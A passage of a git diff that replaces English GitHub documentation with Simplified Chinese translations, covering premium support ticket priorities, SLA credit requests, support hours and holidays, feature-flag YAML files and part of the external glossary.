4 小时 | {% data reusables.enterprise_enterprise_support.installing-releases %} -You must install the minimum supported version of {% data variables.product.prodname_ghe_server %} pursuant to the Supported Releases section of your applicable license agreement within 90 days of placing an order for {% data variables.contact.premium_support %}. +您必须在下单购买 {% data variables.contact.premium_support %} 后的 90 天内,根据适用许可协议的受支持版本部分,安装 {% data variables.product.prodname_ghe_server %} 的最低支持版本。 -## Assigning a priority to a support ticket +## 为支持事件单分配优先级 -When you contact {% data variables.contact.premium_support %}, you can choose one of four priorities for the ticket: {% data variables.product.support_ticket_priority_urgent %}, {% data variables.product.support_ticket_priority_high %}, {% data variables.product.support_ticket_priority_normal %}, or {% data variables.product.support_ticket_priority_low %}. +联系 {% data variables.contact.premium_support %} 时,可为事件单选择以下四种优先级之一:{% data variables.product.support_ticket_priority_urgent %}、{% data variables.product.support_ticket_priority_high %}、{% data variables.product.support_ticket_priority_normal %} 或 {% data variables.product.support_ticket_priority_low %}。 -- [Ticket priorities for {% data variables.product.prodname_ghe_cloud %}](#ticket-priorities-for-github-enterprise-cloud) -- [Ticket priorities for {% data variables.product.prodname_ghe_server %}](#ticket-priorities-for-github-enterprise-server) +- [{% data variables.product.prodname_ghe_cloud %} 的工单优先级](#ticket-priorities-for-github-enterprise-cloud) +- [{% data variables.product.prodname_ghe_server %} 的工单优先级](#ticket-priorities-for-github-enterprise-server) -### Ticket priorities for {% data variables.product.prodname_ghe_cloud %} +### {% data variables.product.prodname_ghe_cloud %} 的事件单优先级 -| Priority | Description | Examples | +| 优先级 | 说明 | 示例 | | :---: | --- | --- | -| {% data variables.product.support_ticket_priority_urgent %} | Production workflows for your organization or enterprise on {% data variables.product.prodname_ghe_cloud %} are failing due to critical service errors or outages, and the failure directly impacts the operation of your business. |
  • Errors or outages on {% data variables.product.prodname_dotcom_the_website %} affect core Git or web application functionality for all members of your organization or enterprise
| -| {% data variables.product.support_ticket_priority_high %} | Account or security issues with your organization or enterprise on {% data variables.product.prodname_ghe_cloud %} are causing limited impact to your business. |
  • An organization or enterprise owner has unintentionally deleted an organization
  • An organization or enterprise member has uploaded sensitive data in a commit, issue, pull request, or issue attachment
| -| {% data variables.product.support_ticket_priority_normal %} | Members of your organization or enterprise on {% data variables.product.prodname_ghe_cloud %} are experiencing limited or moderate issues with {% data variables.product.prodname_dotcom_the_website %}, or you have general concerns or questions about your organization or enterprise. |
  • Questions about using APIs and features for your organization or enterprise
  • Issues with tools for organization data migration that {% data variables.product.company_short %} provides
  • Features related to your organization or enterprise not working as expected
  • General security questions about your organization or enterprise
| -| {% data variables.product.support_ticket_priority_low %} | You have a question or suggestion about your organization or enterprise on {% data variables.product.prodname_ghe_cloud %} that is not time-sensitive, or does not otherwise block the productivity of your team. |
  • Excessive resource usage for your organization or enterprise
  • Requests for health checks
  • Help with using Gists, notifications, wikis, {% data variables.product.prodname_pages %}, {% data variables.product.prodname_desktop %}, or other peripheral services or features with your organization or enterprise
  • Feature requests
  • Product feedback
| +| {% data variables.product.support_ticket_priority_urgent %} | 在 {% data variables.product.prodname_ghe_cloud %} 上的组织或企业的生产工作流程由于严重服务错误或中断而失败,并且该失败直接影响您的业务运营。 |
  • {% data variables.product.prodname_dotcom_the_website %} 上的错误或中断影响您组织或企业所有成员的核心 Git 或 web 应用程序功能
| +| {% data variables.product.support_ticket_priority_high %} | 在 {% data variables.product.prodname_ghe_cloud %} 上的组织或企业的帐户或安全问题对您的业务产生了有限的影响。 |
  • 组织或企业所有者无意中删除了组织
  • 组织或企业成员在提交、议题、拉取请求或议题附件中上传了敏感数据
| +| {% data variables.product.support_ticket_priority_normal %} | 在 {% data variables.product.prodname_ghe_cloud %} 上的组织或企业成员使用 {% data variables.product.prodname_dotcom_the_website %} 时遇到了有限或普通问题,或者您对于自己的组织或企业有一般性疑虑或问题。 |
  • 有关为组织或企业使用 API 和功能的问题
  • 有关 {% data variables.product.company_short %} 提供的组织数据迁移工具的问题
  • 组织或企业的相关功能未按预期工作
  • 有关组织或企业的一般安全问题
| +| {% data variables.product.support_ticket_priority_low %} | 您对于 {% data variables.product.prodname_ghe_cloud %} 上的组织或企业有问题或建议,但并不紧迫,或者该问题不影响团队的生产力。 |
  • 您的组织或企业过度使用资源
  • 请求状态检查
  • 您的组织或企业在使用 Gist、通知、wiki、{% data variables.product.prodname_pages %}、{% data variables.product.prodname_desktop %}、Atom 或其他外围服务或功能方面需要帮助
  • 功能请求
  • 产品反馈
| -### Ticket priorities for {% data variables.product.prodname_ghe_server %} +### {% data variables.product.prodname_ghe_server %} 的事件单优先级 {% data reusables.support.ghes-priorities %} -## Resolving and closing support tickets +## 解决和关闭支持事件单 -{% data variables.contact.premium_support %} may consider a ticket solved after providing an explanation, recommendation, usage instructions, workaround instructions, or by advising you of an available {% data variables.product.prodname_ghe_server %} release that addresses the issue. +{% data variables.contact.premium_support %} 在提供解释、建议、使用说明、变通方法或向您推荐可解决问题的 {% data variables.product.prodname_ghe_server %} 版本后,可能认为事件单已解决。 -If you use a custom or unsupported plug-in, module, or custom code, {% data variables.contact.premium_support %} may ask you to remove the unsupported plug-in, module, or code while attempting to resolve the issue. If the problem is fixed when the unsupported plug-in, module, or custom code is removed, {% data variables.contact.premium_support %} may consider the ticket solved. +如果您使用自定义或不支持的插件、模块或自定义代码,{% data variables.contact.premium_support %} 可能要求您在尝试解决问题时删除不支持的插件、模块或代码。 如果在不受支持的插件、模块或自定义代码删除后问题得以解决,{% data variables.contact.premium_support %} 可能认为事件单已解决。 -{% data variables.contact.premium_support %} may close a ticket if the ticket is outside the scope of support or if multiple attempts to contact you have gone unanswered. If {% data variables.contact.premium_support %} closes a ticket due to lack of response, you can request that {% data variables.contact.premium_support %} reopen the ticket. +如果事件单超出支持范围,或者多次联系您但未获回复,{% data variables.contact.premium_support %} 可能会关闭事件单。 如果 {% data variables.contact.premium_support %} 因为未获回复而关闭事件单,您可以请求 {% data variables.contact.premium_support %} 重新开启事件单。 -## Receiving credits for missed responses to support tickets +## 支持事件单未响应时获取积分 -If you don't receive an initial response within the guaranteed response time to more than four tickets in a given quarter based on {% data variables.product.company_short %}'s fiscal year, you're eligible for a credit. To honor the SLA, {% data variables.product.company_short %} will refund 20% of the quarterly {% data variables.contact.premium_support %} fee in cash. To receive the refund, you must submit a credit request. +如果您在 {% data variables.product.company_short %} 财年的特定季度中,有超过四个事件单没有在保证的响应时间内收到初始响应,您将有资格获得积分。 为遵守 SLA,{% data variables.product.company_short %} 将以现金退还 20% 的季度 {% data variables.contact.premium_support %}费用。 为收到退款,您必须提交信用请求。 -The credit request must be made within 30 days of the end of the quarter during which {% data variables.contact.premium_support %} did not respond to your tickets within the designated response time. Credit requests will not be honored if the respective deadline has passed. Once the respective deadline passes, you have waived the ability to claim a refund for the qualified credit. +积分申请必须在 {% data variables.contact.premium_support %} 未在指定响应时间内响应事件单的季度结束后的 30 天内提出。 如果过了相应的最后期限,则不受理信用申请。 在相应的最后期限过后,即表示您已放弃为合格的信用要求退款。 -To receive a refund, you must submit a completed credit request to . To be eligible, the credit request must: -- Be sent from an email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} -- Be received by {% data variables.product.company_short %} by the end of the 30th day after the quarter in which the four qualifying credits occurred -- Include "Credit Request" in the subject line +为收到退款,必须向 提交完成的信用申请。 要获得资格,信用申请必须: +- 从与在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的帐户关联的电子邮件地址发送 +- 在四个合格信用发生的季度结束后 30 天内由 {% data variables.product.company_short %} 接收 +- 在主题行中包含“积分申请” -The following information **must be included** in your credit request: -- **Date** (The date must be within 30 days after the quarter based on {% data variables.product.company_short %}’s fiscal year end in which the claims occurred [January 31, April 30, July 31, or October 31].) -- **Customer contact** (You must specify both name and email address.) -- **Customer address** -- **Qualifying credits** (You must provide the date of each qualifying credit and the associated ticket number.){% ifversion fpt or ghec %} -- **Name of {% data variables.product.prodname_ghe_cloud %} organization**{% endif %} -- **Ticket numbers** +以下信息必须包含在信用申请中: +- 日期(日期必须基于 {% data variables.product.company_short %} 的财政年度的季度结束 [1 月 31 日、4 月 30 日、7 月 31 日或 10月 31 日] 后 30 天内。) +- 客户联系(必须同时指定姓名和电子邮件地址。) +- 客户地址 +- 合格信用(必须提供每个合格信用的日期和关联的工单编号。){% ifversion fpt or ghec %} +- {% data variables.product.prodname_ghe_cloud %} 组织的名称{% endif %} +- 工单编号 -## Accessing premium content +## 访问高级内容 -You can access premium content by signing in to the {% data variables.contact.contact_landing_page_portal %}. +可以登录到 {% data variables.contact.contact_landing_page_portal %} 访问高级内容。 diff --git a/translations/zh-CN/content/support/learning-about-github-support/about-github-support.md b/translations/zh-CN/content/support/learning-about-github-support/about-github-support.md index be735ece17..ddf3441760 100644 --- a/translations/zh-CN/content/support/learning-about-github-support/about-github-support.md +++ b/translations/zh-CN/content/support/learning-about-github-support/about-github-support.md @@ -1,6 +1,6 @@ --- -title: About GitHub Support -intro: You can contact GitHub Support for help troubleshooting issues you encounter while using GitHub. +title: 关于 GitHub 支持 +intro: 您可以联系 GitHub 支持,以获取有关解决您在使用 GitHub 时遇到的问题的帮助。 shortTitle: About GitHub Support versions: fpt: '*' @@ -21,34 +21,38 @@ redirect_from: - /enterprise-server/admin/enterprise-support/about-support-for-advanced-security topics: - Support +ms.openlocfilehash: aa2b407b96cc7ee2ecc20fee9782e3084b3627db +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192911' --- +## 关于 {% data variables.contact.github_support %} -## About {% data variables.contact.github_support %} +{% data variables.product.prodname_dotcom %} 用户可用的支持选项取决于其个人帐户使用的产品、他们所属的任何组织或企业以及他们管理的任何 {% data variables.product.prodname_ghe_server %} 实例。 每个产品都包括使用 {% data variables.product.prodname_enterprise %} 可以购买 {% data variables.contact.premium_support %} 的默认级别的支持和帐户。 -The support options available to {% data variables.product.prodname_dotcom %} users depend on the products used by their personal accounts, any organizations or enterprises they are members of, and any {% data variables.product.prodname_ghe_server %} instances they manage. Each product includes a default level of support and accounts that use {% data variables.product.prodname_enterprise %} can purchase {% data variables.contact.premium_support %}. - -{% ifversion fpt %} -If you're a member of an organization that uses {% data variables.product.prodname_enterprise %}, you can use the drop-down menu in the upper-right corner of {% data variables.product.prodname_docs %} to view a version of these articles appropriate to your product. For more information, see "[About versions of GitHub Docs](/get-started/learning-about-github/about-versions-of-github-docs)." +{% ifversion fpt %} 如果你是使用 {% data variables.product.prodname_enterprise %} 的组织的成员,则可以使用 {% data variables.product.prodname_docs %} 右上角的下拉菜单查看适用于产品的这些文章的版本。 有关详细信息,请参阅“[关于 GitHub Docs 的版本](/get-started/learning-about-github/about-versions-of-github-docs)”。 {% endif %} {% ifversion not ghae %} -| | {% data variables.product.prodname_gcf %} | Standard support | Premium support | +| | {% data variables.product.prodname_gcf %} | 标准支持 | 高级支持 | |----|---------------|-------|---------------| | {% data variables.product.prodname_free_user %} | {% octicon "check" aria-label="Check" %} | | | | {% data variables.product.prodname_pro %} | {% octicon "check" aria-label="Check" %} | {% octicon "check" aria-label="Check" %} | | | {% data variables.product.prodname_team %} | {% octicon "check" aria-label="Check" %} | {% octicon "check" aria-label="Check" %} | | -| {% data variables.product.prodname_ghe_cloud %} | {% octicon "check" aria-label="Check" %} | {% octicon "check" aria-label="Check" %} | Available to purchase | -| {% data variables.product.prodname_ghe_server %} | {% octicon "check" aria-label="Check" %} | {% octicon "check" aria-label="Check" %} | Available to purchase | +| {% data variables.product.prodname_ghe_cloud %} | {% octicon "check" aria-label="Check" %} | {% octicon "check" aria-label="Check" %} | 可购买 | +| {% data variables.product.prodname_ghe_server %} | {% octicon "check" aria-label="Check" %} | {% octicon "check" aria-label="Check" %} | 可购买 | {% endif %} {% ifversion ghes %} -You can contact {% data variables.contact.enterprise_support %} through the {% data variables.contact.contact_enterprise_portal %} for help with: - - Installing and using {% data variables.product.product_name %} - - Identifying and verifying the causes of suspected errors - - Installing and using {% data variables.product.prodname_advanced_security %} +您可以通过 {% data variables.contact.enterprise_support %} 联系 {% data variables.contact.contact_enterprise_portal %} 来寻求以下帮助: + - 安装和使用 {% data variables.product.product_name %} + - 识别并验证可疑错误的原因 + - 安装和使用 {% data variables.product.prodname_advanced_security %} {% endif %} @@ -56,130 +60,117 @@ You can contact {% data variables.contact.enterprise_support %} through the {% d {% data reusables.support.premium-support-features %} -For more information, see "[About GitHub Premium Support](/support/about-github-support/about-github-premium-support)." +有关详细信息,请参阅“[关于 GitHub Premium 支持](/support/about-github-support/about-github-premium-support)”。 {% endif %} {% ifversion fpt or ghec or ghae %} -Before contacting {% data variables.contact.github_support %}, check if there are currently any incidents affecting services on {% data variables.product.product_name %} on -{%- ifversion fpt or ghec %} -[{% data variables.product.prodname_dotcom %} Status](https://githubstatus.com/) -{%- elsif ghae %} -[{% data variables.product.product_name %} Status](https://ghestatus.com/) -{%- endif %}. For more information, see "[About GitHub status](#about-github-status)." +在联系 {% data variables.contact.github_support %} 之前,请检查当前是否有任何影响 {%- ifversion fpt or ghec %} [{% data variables.product.prodname_dotcom %} 状态](https://githubstatus.com/) {%- elsif ghae %} [{% data variables.product.product_name %} 状态](https://ghestatus.com/)的 {% data variables.product.product_name %} 服务的事件{%- endif %}。 有关详细信息,请参阅“[关于 GitHub 状态](#about-github-status)”。 {% endif %} -{% ifversion fpt %} -{% data reusables.support.free-and-paid-support %} +{% ifversion fpt %} {% data reusables.support.free-and-paid-support %} -To report account, security, and abuse issues, or to receive assisted support for a paid account, visit the {% data variables.contact.contact_support_portal %}. For more information, see "[Creating a support ticket](/support/contacting-github-support/creating-a-support-ticket)." +要报告帐户、安全和滥用问题,或获得付费帐户的辅助支持,请访问 {% data variables.contact.contact_support_portal %}。 有关详细信息,请参阅“[创建支持工单](/support/contacting-github-support/creating-a-support-ticket)”。 {% endif %} -{% ifversion fpt %} -If you have any paid product or are a member of an organization with a paid product, you can contact {% data variables.contact.github_support %} in English. -{% else %} -With {% data variables.product.product_name %}, you have access to support in English and Japanese. +{% ifversion fpt %}如果你有任何付费产品,或者是拥有付费产品的组织的成员,可用英语联系 {% data variables.contact.github_support %}。 +{% else %}通过 {% data variables.product.product_name %},可获得英语和日语的支持。 {% endif %} -{% ifversion fpt or ghec or ghes %} -{% data reusables.support.support-ticket-translation-option %} -{% endif %} +{% ifversion fpt or ghec or ghes %} {% data reusables.support.support-ticket-translation-option %} {% endif %} {% ifversion ghes or ghec %} -To contact {% data variables.contact.github_support %}, visit the {% data variables.contact.contact_support_portal %}. For more information, see "[Creating a support ticket](/support/contacting-github-support/creating-a-support-ticket)." +要联系 {% data variables.contact.github_support %},请访问 {% data variables.contact.contact_support_portal %}。 有关详细信息,请参阅“[创建支持工单](/support/contacting-github-support/creating-a-support-ticket)”。 {% elsif ghae %} -You can contact {% data variables.contact.enterprise_support %} through the {% data variables.contact.ae_azure_portal %} to report issues in writing. For more information, see "[Creating a support ticket](/support/contacting-github-support/creating-a-support-ticket)." +您可以通过 {% data variables.contact.ae_azure_portal %} 联系 {% data variables.contact.enterprise_support %},以书面报告问题。 有关详细信息,请参阅“[创建支持工单](/support/contacting-github-support/creating-a-support-ticket)”。 {% endif %} -{% ifversion not ghae %} -Email communication from GitHub Support will always be sent from either a `github.com` or `githubsupport.com` address. +{% ifversion not ghae %}来自 GitHub 支持的电子邮件通信将始终从 `github.com` 或 `githubsupport.com` 地址发送。 {% endif %} -## Scope of support +## 支持范围 {% data reusables.support.scope-of-support %} {% ifversion ghec or fpt or ghae %} -## About GitHub status +## 关于 GitHub 状态 -You can check for any incidents currently affecting {% data variables.product.product_name %} services and view information about past incidents on {% data variables.product.prodname_dotcom %}'s [Status page]({% ifversion fpt or ghec %}https://githubstatus.com{% elsif ghae %}https://ghestatus.com{% endif %}). +可检查当前影响 {% data variables.product.product_name %} 服务的任何事件,并在 {% data variables.product.prodname_dotcom %} 的[“状态”页]({% ifversion fpt or ghec %}https://githubstatus.com{% elsif ghae %}https://ghestatus.com{% endif %})上查看有关过去事件的信息。 -You can also subscribe and get alerted via email, text message, and webhook whenever there's an incident affecting {% data variables.product.product_name %}. +你还可以订阅并在每次发生影响 {% data variables.product.product_name %} 的事件时通过电子邮件、短信和 Webhook 收到警报。 {% endif %} {% ifversion ghec or ghes %} -## About support entitlement +## 关于支持权利 -Enterprise owners and billing managers automatically have a support entitlement, which enables them to create, view, and comment on support tickets associated with their enterprise account. +企业所有者和帐单管理员自动拥有支持权利,这使他们能够创建、查看和评论与其企业帐户关联的支持单。 -Enterprise owners can also add support entitlements to members of organizations owned by their enterprise account, allowing those members to create, view, and comment on support tickets. For more information, see "[Managing support entitlements for your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise)." +企业所有者还可以向其企业帐户拥有的组织的成员添加支持权利,从而允许这些成员创建、查看和评论支持单。 有关详细信息,请参阅[管理企业的支持权利](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise)。 {% endif %} {% ifversion fpt or ghec %} -## Granting {% data variables.contact.github_support %} temporary access to a private repository +## 授予 {% data variables.contact.github_support %} 临时访问私有仓库的权限 -If {% data variables.contact.github_support %} needs to access a private repository to address your support request, the owner of the repository will receive an email with a link to accept or decline temporary access. The owner will have 20 days to accept or decline the request before the request expires. If the owner accepts the request, {% data variables.contact.github_support %} will have access the repository for five days. During this window, {% data variables.contact.github_support %} staff with the required privileges can unlock the repository for up to two hours at a time, and will relock the repository if the work is completed early. All {% data variables.contact.github_support %} staff access generates audit log events, and the visibility of the repository is not affected at any time. +如果 {% data variables.contact.github_support %} 需要访问私有仓库来解决您的支持请求,仓库所有者将会收到一封电子邮件,其中包含接受或拒绝临时访问的链接。 该所有者有 20 天时间接受或拒绝该请求,此时间过后请求即过期。 如果所有者接受请求,{% data variables.contact.github_support %} 在五天内都可访问仓库。 在此时段内,具有所需权限的 {% data variables.contact.github_support %} 员工一次最多可以解锁存储库两个小时,如果工作提前完成,则会重新锁定存储库。 所有 {% data variables.contact.github_support %} 员工访问都会生成审核日志事件,并且存储库的可见性在任何时候都不会受到影响。 -{% data variables.contact.github_support %} will never access your private repositories without your explicit consent. For more information, see the [Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service#3-access). +{% data variables.contact.github_support %} 没有您的明确同意将永远无法访问您的私有仓库。 有关详细信息,请参阅[服务条款](/free-pro-team@latest/github/site-policy/github-terms-of-service#3-access)。 {% endif %} {% ifversion ghec or ghes %} -## Contacting GitHub Sales and GitHub Training +## 联系 GitHub 销售和 GitHub 培训 -For pricing, licensing, renewals, quotes, payments, and other related questions, contact {% data variables.contact.contact_enterprise_sales %} or call [+1 (877) 448-4820](tel:+1-877-448-4820). +有关定价、许可、续订、报价、付款和其他相关问题,请联系 {% data variables.contact.contact_enterprise_sales %} 或拨打 [+1 (877) 448-4820](tel:+1-877-448-4820)。 -To learn more about training options, including customized trainings, see [{% data variables.product.company_short %}'s training site](https://services.github.com/). +若要详细了解培训选项(包括自定义培训),请参阅 [{% data variables.product.company_short %} 的培训网站](https://services.github.com/)。 {% note %} -**Note:** Training is included in the {% data variables.product.premium_plus_support_plan %}. For more information, see "[About GitHub Premium Support](/support/about-github-support/about-github-premium-support)." +注意:培训包含在 {% data variables.product.premium_plus_support_plan %} 中。 有关详细信息,请参阅“[关于 GitHub Premium 支持](/support/about-github-support/about-github-premium-support)”。 {% endnote %} {% endif %} {% ifversion ghes or ghec %} -## Hours of operation +## 营业时间 -### Support in English +### 英语支持 -For standard non-urgent issues, we offer support in English 24 hours per day, 5 days per week, excluding weekends and national U.S. holidays. The standard response time is 24 hours. +对于标准的非紧急问题,我们提供每天 24 小时、每周 5 天的英语支持,不包括周末和美国国家法定节假日。 标准响应时间为 24 小时。 -{% ifversion ghes %} -For urgent issues, we are available 24 hours per day, 7 days per week, even during national U.S. holidays. +{% ifversion ghes %}对于紧急问题,我们每周 7 天、每天 24 小时提供服务,即使在美国法定节假日也不例外。 {% endif %} -### Support in Japanese +### 日语支持 -For standard non-urgent issues, support in Japanese is available Monday through Friday from 9:00 AM to 5:00 PM JST, excluding national holidays in Japan. +对于一般非紧急问题,日语支持的服务时间为周一至周五上午 9:00 至下午 5:00(日本标准时间),不包括日本的法定节假日。 -{% ifversion ghes %} -For urgent issues, we offer support in English 24 hours per day, 7 days per week, even during national U.S. holidays. +{% ifversion ghes %}对于紧急问题,我们每周 7 天、每天 24 小时提供英语支持,即使在美国法定节假日也不例外。 {% endif %} -For a complete list of U.S. and Japanese national holidays observed by {% data variables.contact.enterprise_support %}, see "[Holiday schedules](#holiday-schedules)." +有关 {% data variables.contact.enterprise_support %} 遵守的美国和日本法定节假日的完整列表,请参阅“[节假日安排](#holiday-schedules)”。 -## Holiday schedules +## 节假日安排 -For urgent issues, we can help you in English 24 hours per day, 7 days per week, including on U.S. and Japanese holidays. +对于紧急问题,我们全天候为您提供英语帮助,包括美国和日本的节假日。 -### Holidays in the United States +### 美国的节假日 -{% data variables.contact.enterprise_support %} observes these U.S. holidays, although our global support team is available to answer urgent tickets. +{% data variables.contact.enterprise_support %} 会庆祝这些美国节假日,但我们的全球支持团队可以回答紧急事件单。 {% data reusables.enterprise_enterprise_support.support-holiday-availability %} -### Holidays in Japan +### 日本节假日 -{% data variables.contact.enterprise_support %} does not provide Japanese-language support on December 28th through January 3rd as well as on the holidays listed in [国民の祝日について - 内閣府](https://www8.cao.go.jp/chosei/shukujitsu/gaiyou.html). +{% data variables.contact.enterprise_support %} 在 12 月 28 日至 1 月 3 日以及[国民の祝日について - 内閣府](https://www8.cao.go.jp/chosei/shukujitsu/gaiyou.html)中所列的节假日不提供日语支持。 {% data reusables.enterprise_enterprise_support.installing-releases %} @@ -187,18 +178,15 @@ For urgent issues, we can help you in English 24 hours per day, 7 days per week, {% ifversion ghec or ghes or ghae %} -## Resolving and closing support tickets +## 解决和关闭支持事件单 {% data reusables.support.enterprise-resolving-and-closing-tickets %} {% endif %} -## Further reading +## 延伸阅读 {%- ifversion ghes %} -- Section 10 on Support in the "[{% data variables.product.prodname_ghe_server %} License Agreement](https://enterprise.github.com/license)" -{%- endif %} -- "[Creating a support ticket](/support/contacting-github-support/creating-a-support-ticket)" -{%- ifversion not ghae %} -- "[Viewing and updating support tickets](/support/contacting-github-support/viewing-and-updating-support-tickets)" -{%- endif %} +- “[{% data variables.product.prodname_ghe_server %} 许可协议](https://enterprise.github.com/license)”中“支持”的第 10 节{%- endif %} +- [创建支持工单](/support/contacting-github-support/creating-a-support-ticket){%- ifversion not ghae %} +- [查看和更新支持工单](/support/contacting-github-support/viewing-and-updating-support-tickets){%- endif %} diff --git a/translations/zh-CN/data/features/ip-allow-list-address-check.yml b/translations/zh-CN/data/features/ip-allow-list-address-check.yml new file mode 100644 index 0000000000..8e472cd129 --- /dev/null +++ b/translations/zh-CN/data/features/ip-allow-list-address-check.yml @@ -0,0 +1,3 @@ +versions: + ghec: '*' + ghae: '问题-7818' diff --git a/translations/zh-CN/data/features/security-overview-views.yml b/translations/zh-CN/data/features/security-overview-views.yml new file mode 100644 index 0000000000..60f8016c1e --- /dev/null +++ b/translations/zh-CN/data/features/security-overview-views.yml @@ -0,0 +1,6 @@ +# Reference: #5503. +# Documentation for the security overview individual views +versions: + ghes: '> 3.4' + ghae: 'issue-5503' + ghec: '*' diff --git a/translations/zh-CN/data/glossaries/external.yml b/translations/zh-CN/data/glossaries/external.yml index 2fd18cd191..ab2e874d2f 100644 --- a/translations/zh-CN/data/glossaries/external.yml +++ b/translations/zh-CN/data/glossaries/external.yml @@ -1,788 +1,564 @@ -- term: '@mention' +- term: '@提及' description: - To notify a person on GitHub by using `@` before their username. Users in an organization on GitHub can also be a part of a team that can be - mentioned. -- term: access token + 用于通过在用户名前使用 `@` 来通知 GitHub 上的个人。GitHub 上组织中的用户也可以是可以被提及的团队中的一员。 +- term: 访问令牌 description: >- - A token that is used in place of a password when performing Git operations - over HTTPS with Git on the command line or the API. Also called a personal - access token. -- term: API preview + 在命令行或 API 上使用 Git 通过 HTTPS 执行 Git 操作时,用来代替密码的令牌。也称为个人访问令牌。 +- term: API 预览 description: >- - A way to try out new APIs and changes to existing API methods before they - become part of the official GitHub API. -- term: appliance + 一种尝试新 API 以及在现有 API 方法成为正式 GitHub API 之前对其进行更改的方式。 +- term: 工具 description: >- - A software application combined with just enough operating system (JeOS) to - run optimally on industry-standard hardware (typically a server) or in a - virtual machine. + 一种结合恰当操作系统 (JeOS) 在行业标准硬件(通常是服务器)上或虚拟机中最佳运行的软件应用程序。 - term: assignee - description: The user that is assigned to an issue. -- term: authentication code + description: 分配到某个问题的用户。 +- term: 验证码 description: >- - A code you'll supply, in addition to your GitHub password, when signing in - with 2FA via the browser. This code is either generated by an application or delivered to - your phone via text message. Also called a "2FA authentication code." -- term: base branch + 通过浏览器使用 2FA 登录时,除了 GitHub 密码外,还需要提供代码。此代码由应用程序生成或通过短信发送到你的手机。也称为“2FA 验证码”。 +- term: 基础分支 description: - The branch into which changes are combined when you merge a pull request. - When you create a pull request, you can change the base branch from the repository's default branch to another branch if required. -- term: basic authentication + 合并拉取请求时,将更改合并到其中的分支。创建拉取请求时,如果需要,可以将基础分支从存储库的默认分支更改为另一个分支。 +- term: 基本身份验证 description: >- - A method of authentication where the credentials are sent as - unencrypted text. -- term: bio + 凭据以未加密文本形式发送的身份验证方法。 +- term: 个人简历 description: >- - The user-generated description found on a profile: - [Adding a bio to your profile](/articles/adding-a-bio-to-your-profile) -- term: billing cycle - description: The interval of time for your specific billing plan. -- term: billing email + 个人资料中用户生成的描述:[为个人资料添加简介](/articles/adding-a-bio-to-your-profile) +- term: 计费周期 + description: 特定计费计划的时间间隔。 +- term: 计费邮箱 description: >- - The organization email address where GitHub sends receipts, credit card or - PayPal charges, and other billing-related communication. -- term: billing manager - description: The organization member that manages billing settings for an organization. -- term: billing plan + GitHub 用于发送收据、信用卡或 PayPal 费用及其他计费相关信息的组织电子邮件地址。 +- term: 计费管理员 + description: 负责管理组织计费设置的组织成员。 +- term: 收费计划 description: >- - Payment plans for users and organizations that include set features for each - type of plan. -- term: blame + 用户和组织的付款计划,包括每种计划的设置功能。 +- term: 追溯 description: >- - The "blame" feature in Git describes the last modification to each line of a - file, which generally displays the revision, author and time. This is - helpful, for example, in tracking down when a feature was added, or which - commit led to a particular bug. + Git 中的“追溯”功能描述文件中每一行的最后修改,通常显示修订、作者和时间信息。例如,在跟踪添加某项功能的时间或导致特定 bug 的提交时,此功能非常有用。 - term: block description: >- - To remove a user's ability to collaborate on an organization's repositories. + 用于删除用户协作处理组织存储库的能力。 - term: branch description: >- - A branch is a parallel version of a repository. It is contained within the - repository, but does not affect the primary or main branch allowing you to - work freely without disrupting the "live" version. When you've made the - changes you want to make, you can merge your branch back into the main - branch to publish your changes. -- term: branch restriction + 分支是存储库的并行版本。它包含在存储库中,但不会影响主分支,从而允许在不影响“在线”版本的情况下自由工作。完成所需更改后,可以将分支合并回主分支以发布你的更改。 +- term: 分支限制 description: >- - A restriction that repository admins can enable so that only certain users - or teams can push or make certain changes to the branch. -- term: Business plan + 存储库管理员可以启用的一种限制,只允许特定用户或团队推送到分支或做出特定的更改。 +- term: 业务计划 description: >- - An organization billing plan where you can collaborate on unlimited public - and private repositories, allow or require organization members to - authenticate to GitHub using SAML SSO, and provision and deprovision access - with SAML or SCIM. -- term: CA certificate + 一种组织计费计划,可以在其中协作处理无限的公共和专用存储库,允许或要求组织成员使用 SAML SSO 对 GitHub 进行身份验证,以及使用 SAML 或 SCIM 预配和取消预配访问权限。 +- term: CA 证书 description: >- - A digital certificate issued by Certificate Authority (CA) that ensures there are valid connections between two machines, such as a user's computer and GitHub.com and verifies the ownership of a site. -- term: card - description: A movable square within a project board associated with an issue or pull request. -- term: check + 由证书机构 (CA) 颁发的数字证书,用于确保有效连接两台计算机,例如用户的计算机和 GitHub.com,以及验证站点的所有权。 +- term: 卡 + description: 项目板中与某个问题或拉取请求关联的可移动方框。 +- term: 检查 description: >- - A check is a type of status check on {% data variables.product.product_name %}. See "[Status checks](#status-checks)." -- term: checkout + 检查是 {% data variables.product.product_name %} 上的一种状态检查类型。请参阅“[状态检查](#status-checks)”。 +- term: 签出 description: >- - You can use `git checkout` on the command line to create a new branch, change your current working branch to a different branch, or even to switch to a different version of a file from a different branch with `git checkout [branchname] [path to file]`. The "checkout" action updates all or part of the working tree with a tree object or - blob from the object database, and updates the index and HEAD if the whole - working tree is pointing to a new branch. -- term: cherry-picking + 可在命令行上使用 `git checkout` 创建新分支,将当前工作分支更改为其他分支,也可使用 `git checkout [分支名称] [文件路径]` 从不同的分支切换到不同版本的文件。“签出”操作使用对象数据库中的树对象或 Blob 更新全部或部分工作树,如果整个工作树指向新分支,则更新索引和 HEAD。 +- term: 挑拣 description: >- - To choose a subset of changes from a series of changes (typically commits) and record them as a new series of changes on top of a different codebase. In Git, this is performed by the `git cherry-pick` command to extract the change introduced by an existing commit on another branch and to record it based on the tip of the current branch as a new commit. For more information, see [git-cherry-pick](https://git-scm.com/docs/git-cherry-pick) in the Git documentation. -- term: child team + 用于从一系列更改(通常是提交)中选择更改的子集,并将它们记录为位于不同代码库之上的一系列新更改。在 Git 中,此操作是由 `git cherry-pick` 命令执行的,用于提取另一个分支上现有提交引入的更改,并根据当前分支的提示将其记录为新提交。有关详细信息,请参阅 Git 文档中的 [git-cherry-pick](https://git-scm.com/docs/git-cherry-pick)。 +- term: 子团队 description: >- - Within nested teams, the subteam that inherits the parent 